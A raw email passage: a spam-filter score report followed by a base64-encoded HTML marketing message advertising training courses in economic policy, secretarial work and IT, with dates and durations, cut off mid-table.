KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC7_SA_HREF_WWW_MISMATCH, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_HTML_ONLY, PLING_PLING X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33411 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.80 BSF_SC7_SA_HREF_WWW_MISMATCH BODY: Custom Phishing Mismatch 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.46 PLING_PLING Subject has lots of exclamation marks PCFET0NUWVBFIGh0bWwgUFVCTElDICIgLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRp b25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFu c2l0aW9uYWwuZHRkIj48aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRt bCI+PGhlYWQ+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aXRs ZT48L3RpdGxlPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4 dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij48bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0i d2lkdGg9ZGV2aWNlLXdpZHRoIj48c3R5bGUgdHlwZT0idGV4dC9jc3MiPiAgICBib2R5LCBo dG1sIHsgICAgICAgIHdpZHRoOiAxMDAlICFpbXBvcnRhbnQ7ICAgICAgICBtYXJnaW46IDA7 ICAgICAgICBwYWRkaW5nOiAwOyAgICAgICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50 aWFsaWFzZWQ7ICAgICAgICAtd2Via2l0LXRleHQtc2l6ZS1hZGp1c3Q6IG5vbmU7ICAgICAg ICAtbXMtdGV4dC1zaXplLWFkanVzdDoxMDAlOyAgICB9ICAgIHRhYmxlIHRkLCB0YWJsZSB7 ICAgICAgICBtc28tdGFibGUtbHNwYWNlOiAwcHQ7ICAgICAgICBtc28tdGFibGUtcnNwYWNl OiAwcHQ7ICAgIH0gICAgI291dGxvb2sgYSB7ICAgICAgICBwYWRkaW5nOiAwOyAgICB9ICAg IC5FeHRlcm5hbENsYXNzLCAuRXh0ZXJuYWxDbGFzcyBwLCAuRXh0ZXJuYWxDbGFzcyBzcGFu LCAuRXh0ZXJuYWxDbGFzcyBmb250LCAuRXh0ZXJuYWxDbGFzcyB0ZCwgLkV4dGVybmFsQ2xh c3MgZGl2IHsgICAgICAgIGxpbmUtaGVpZ2h0OiAxMDAlOyAgICB9ICAgIC5FeHRlcm5hbENs YXNzIHsgICAgICAgIHdpZHRoOiAxMDAlOyAgICB9ICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBh bmQgKG1heC13aWR0aDogNDgwcHgpIHsgICAgICAgIHRhYmxlLCB0YWJsZSB0ciB0ZCwgdGFi bGUgdGQgeyAgICAgICAgICAgIHdpZHRoOiAxMDAlICFpbXBvcnRhbnQ7ICAgICAgICB9ICAg ICAgICBpbWcgeyAgICAgICAgICAgIHdpZHRoOiBpbmhlcml0OyAgICAgICAgfSAgICAgICAg LmxheWVyXzIgeyAgICAgICAgICAgIG1heC13aWR0aDogMTAwJSAhaW1wb3J0YW50OyAgICAg ICAgfSAgICB9PC9zdHlsZT48L2hlYWQ+PGJvZHkgc3R5bGU9InBhZGRpbmc6IDBweDsgbWFy Z2luOiAwcHg7Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0YWJsZSBzdHlsZT0iaGVpZ2h0OiAxMDAlOyB3aWR0aDogMTAwJTsg YmFja2dyb3VuZC1jb2xvcjogcmdiKDIzOSwgMjM5LCAyMzkpOyIgYWxpZ249ImNlbnRlciI+ ICAgICAgICA8dGJvZHk+ICAgICAgICAgICAgPHRyPiAgICAgICAgICAgICAgICA8dGQgdmFs aWduPSJ0b3AiIGlkPSJkYm9keSIgZGF0YS12ZXJzaW9uPSIyLjIwIiBzdHlsZT0icGFkZGlu Zy10b3A6MzBweDtwYWRkaW5nLWJvdHRvbTozMHB4O2JhY2tncm91bmQtY29sb3I6I2VmZWZl Zjt3aWR0aDoxMDAlOyI+PCEtLVtpZiAoZ3RlIG1zbyA5KXwoSUUpXT48dGFibGUgc3R5bGU9 IndpZHRoOjgwMHB4IiB3aWR0aD0iODAwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0i MCIgY2VsbHNwYWNpbmc9IjAiIGJvcmRlcj0iMCI+PHRyPjx0ZD48IVtlbmRpZl0tLT4gICAg ICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz0ibGF5ZXJfMSIgYWxpZ249ImNlbnRlciIg Ym9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJtYXgt d2lkdGg6ODAwcHg7Ym94LXNpemluZzpib3JkZXItYm94O3dpZHRoOjEwMCU7Ij4gICAgICAg ICAgICAgICAgICAgICAgICA8dGJvZHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 cj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iZHJvdyIgdmFs aWduPSJ0b3AiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJib3gtc2l6aW5nOmJvcmRlci1ib3g7 Zm9udC1zaXplOjBweDt0ZXh0LWFsaWduOmNlbnRlcjtiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm ZmY7Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tW2lmIChndGUg bXNvIDkpfChJRSldPjx0YWJsZSB3aWR0aD0iMTAwJSIgYWxpZ249ImNlbnRlciIgY2VsbHBh ZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBib3JkZXI9IjAiPjx0cj48dGQ+PCFbZW5kaWZd LS0+PGRpdiBjbGFzcz0ibGF5ZXJfMiIgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrO3Zl cnRpY2FsLWFsaWduOnRvcDt3aWR0aDoxMDAlO21heC13aWR0aDo4MDBweDsiPiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9ImVkY29udGVu dCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7d2lkdGg6MTAwJSIgYm9yZGVy PSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4gICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJlZGltZyIgdmFsaWdu PSJ0b3AiIHN0eWxlPSJib3gtc2l6aW5nOmJvcmRlci1ib3g7dGV4dC1hbGlnbjpjZW50ZXI7 Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDxpbWcgc3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IG5vbmU7 IG1heC13aWR0aDogODAwcHg7IHdpZHRoOiAxMDAlOyIgd2lkdGg9IjgwMCIgYWx0PSJJbWFn ZSIgc3JjPSJodHRwczovL2FwaS5lbGFzdGljZW1haWwuY29tL3VzZXJmaWxlL2I5ZjNlNzQx LTY1NzAtNDM4Yy1iMTdhLWIyOTI4NDVjYzRlNy9haWF0LmpwZyI+ICAgICAgICAgICAgICAg ICAgICAgICAgICAgPC90ZD4gICAgICAgICAgICAgICAgICAgICAgIDwvdHI+ICAgICAgICAg ICAgICAgICAgIDwvdGJvZHk+ICAgICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgIDwv ZGl2PjwhLS1baWYgKGd0ZSBtc28gOSl8KElFKV0+PC90ZD48L3RyPjwvdGFibGU+PCFbZW5k aWZdLS0+ICAgICAgIDwvdGQ+ICAgPC90cj4gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dHI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImRyb3ci IHZhbGlnbj0idG9wIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYm94LXNpemluZzpib3JkZXIt Ym94O2ZvbnQtc2l6ZTowcHg7dGV4dC1hbGlnbjpjZW50ZXI7YmFja2dyb3VuZC1jb2xvcjoj ZmZmZmZmOyI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLVtpZiAoZ3RlIG1zbyA5KXwoSUUpXT48 dGFibGUgd2lkdGg9IjEwMCUiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxs c3BhY2luZz0iMCIgYm9yZGVyPSIwIj48dHI+PHRkPjwhW2VuZGlmXS0tPjxkaXYgY2xhc3M9 ImxheWVyXzIiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazt2ZXJ0aWNhbC1hbGlnbjp0 b3A7d2lkdGg6MTAwJTttYXgtd2lkdGg6ODAwcHg7Ij4gICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRhYmxlIGNsYXNzPSJlZGNvbnRlbnQiIHN0eWxlPSJib3Jk ZXItY29sbGFwc2U6IGNvbGxhcHNlO3dpZHRoOjEwMCU7IiBib3JkZXI9IjAiIGNlbGxwYWRk aW5nPSIyMCIgY2VsbHNwYWNpbmc9IjAiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHRib2R5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0cj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJlZHRleHQiIHZhbGlnbj0idG9wIiBzdHls ZT0idGV4dC1hbGlnbjpsZWZ0O2NvbG9yOiM1ZjVmNWY7Zm9udC1zaXplOjEycHg7Zm9udC1m YW1pbHk6SGVsdmV0aWNhLEFyaWFsLHNhbnMtc2VyaWY7d29yZC1icmVhazpicmVhay13b3Jk O2RpcmVjdGlvbjpsdHI7Ym94LXNpemluZzpib3JkZXItYm94OyI+PGRpdj48cCBzdHlsZT0i bWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAz NCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21h bGw7IHdpZG93czogMTsiPkhpLDwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0 LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFs bDsgd2lkb3dzOiAxOyI+PGJyIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250 LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czog MTsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTog YXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPkF0dGVu ZCBhIGNvdXJzZSB3aXRoIHVzIGZvciBmcmVlLCBpZiAzIG9yIG1vcmUgb2YgeW91ciBmZWUg cGF5aW5nJm5ic3A7Y29sbGVhZ3VlcyBhcmUgYXR0ZW5kaW5nJm5ic3A7c2FtZSBjb3Vyc2Uu Jm5ic3A7PC9zcGFuPjwvcD48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxz cGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWws IHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjxicj48L3NwYW4+ PC9wPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PHNwYW4gc3R5bGU9ImNv bG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsg Zm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+T2ZmZXIgbGFzdCB0aWxsIE5vdmVtYmVy ITwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5 OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PGJy IHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNh bnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjxzdHJvbmc+RUNPTk9N SUMgTUFOQUdFTUVOVCAmYW1wOyBQT0xJQ1kgQU5BTFlTSVMgQ09VUlNFUzwvc3Ryb25nPjwv cD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdp ZHRoPSI5MzYiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTog YXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjx0Ym9k eT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RU1QQTwvc3Ryb25nPjwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q09VUlNFIFRJVExFPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9u Zz48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMTwv c3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIE1hY3JvZWNv bm9taWMgQW5hbHlzaXMgUHJvZ3JhbW1lPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8gMDEg LSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjxzdHJvbmc+MDAyPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+UG9saWN5IEFuYWx5c2lzIEZvciBTZW5pb3IgTWFuYWdlcjwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wNCAt IDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDM8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5Qb2xpY3kgRGV2ZWxvcG1lbnQgQW5kIFN0cmF0ZWdpYyBN YW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4gLyAw MyAtIDA3IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDA0PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+VHJhZGUgQW5k IEludmVzdG1lbnQgUHJvbW90aW9uIFByb2dyYW1tZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZl YiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPlRyYWRlIE5lZ290aWF0aW9uIFNraWxsczwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAt IDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPlRyYWRlIFBvbGljeSBEZXZlbG9wbWVudCBBbmQgTWFjcm9lY29u b21pYyBBbmFseXNpczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8g MDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwNzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2Vk IFBvbGljeSBNYW5hZ2VtZW50IEFuZCBFdmFsdWF0aW9uPC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MTUgLSAxOSBG ZWIgLyAwNiAtIDEwIEp1biAvIDE5IC0gMjMgU2VwdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA4PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+UHVibGljIFByaXZhdGUgUGFydG5lcnNoaXAgTWFuYWdlbWVudDwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwv dHI+PC90Ym9keT48L3RhYmxlPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+ PHNwYW4gc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlh bCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+Jm5ic3A7PC9z cGFuPjxiciBzdHlsZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFy aWFsLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25n PlNFQ1JFVEFSSUFMICZhbXA7Jm5ic3A7QURNSU5JU1RSQVRJT04mbmJzcDtDT1VSU0VTPC9z dHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2lu Zz0iMCIgd2lkdGg9IjkzNiIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQt ZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAx OyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5TQTwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q09VUlNFIFRJVExF PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EdXJhdGlv bjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8 L3N0cm9uZz48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25n PjAwMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIFNl Y3JldGFyaWFsICZhbXA7IFBlcnNvbmFsIEFzc2lzdGFudCBQcm9ncmFtbWU8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3Ry Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5NYW5hZ2VtZW50IERldmVsb3BtZW50IFByb2dy YW1tZSBmb3IgU2VjcmV0YXJpYWwgJmFtcDsgQWRtaW5pc3RyYXRvcnM8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAzPC9zdHJvbmc+PC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvZmVzc2lvbmFsIERldmVsb3BtZW50IFByb2dy YW1tZSBmb3IgU2VjcmV0YXJpZXM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdl ZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAt IDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+PHN0cm9uZz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij5Qcm9mZXNzaW9uYWwgRXhlY3V0aXZlIFNlY3JldGFyaWVzIGFuZCBBZG1pbmlzdHJhdG9y cyBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0 IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDA1PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5j ZWQgU2VjcmV0YXJpZXMgYW5kIEV4ZWN1dGl2ZSBBc3Npc3RhbnRzIFByb2dyYW1tZTwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkRhdGEgYW5kIHJlY29yZHMgTWFuYWdl bWVudCBQcm9ncmFtbWUgZm9yIFNlY3JldGFyaWVzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQg TWFyIC8gMjAgLSAyNCBKdW4gLyAwMyAtIDA3IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+QWR2YW5jZWQgQ29tcHV0ZXIgUHJvZ3JhbW1lIGZvciBTZWNyZXRhcmll czwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBP Y3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwv c3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkVsZWN0cm9uaWMgRGF0YSBh bmQgcmVjb3JkcyBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBX ZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8gMDEgLSAx MiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ Q3VzdG9tZXIgQ2FyZSBhbmQgQ3VzdG9tZXIgUmVsYXRpb25zIFByb2dyYW1tZSBmb3IgU2Vj cmV0YXJpZXM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9j dCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQg b2ZmaWNlIE1hbmFnZW1lbnQgUHJvZ3JhbW1lIGZvciBTZWNyZXRhcmllczwvdGQ+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PC90 Ym9keT48L3RhYmxlPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PHNwYW4g c3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fu cy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+Jm5ic3A7PC9zcGFuPjxi ciBzdHlsZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBz YW5zLXNlcmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25nPkNPTVBV VEVSICZhbXA7IElORk9STUFUSU9OIFRFQ0hOT0xPR1kgQ09VUlNFUzwvc3Ryb25nPjwvcD48 dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRo PSI5MzgiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJp YWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjx0Ym9keT48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q0lUPC9zdHJvbmc+PC90ZD48 